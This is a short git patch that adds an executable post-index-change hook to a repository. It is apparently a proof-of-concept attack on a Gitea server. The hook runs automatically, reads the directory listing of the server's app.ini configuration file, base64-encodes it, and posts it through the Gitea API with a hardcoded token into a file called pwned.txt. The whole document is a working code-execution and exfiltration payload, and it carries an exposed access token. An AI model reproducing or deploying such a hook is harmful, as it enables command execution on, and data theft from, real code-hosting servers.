From b84679055e166b8c24b3ea6915e0bf74de08a46e Mon Sep 17 00:00:00 2001 From: secaudit77 Date: Sun, 9 Aug 2026 12:53:14 +0200 Subject: [PATCH] r1 --- hooks/post-index-change | 4 ++++ 1 file changed, 4 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..ffbecc0 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,4 @@ +#!/bin/sh +RESULT=$(ls -la /data/gitea/conf/app.ini 2>&1) +ENCODED=$(echo "$RESULT" | base64 | tr -d "\n") +curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/si2/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "{\"message\":\"p\",\"content\":\"$ENCODED\"}"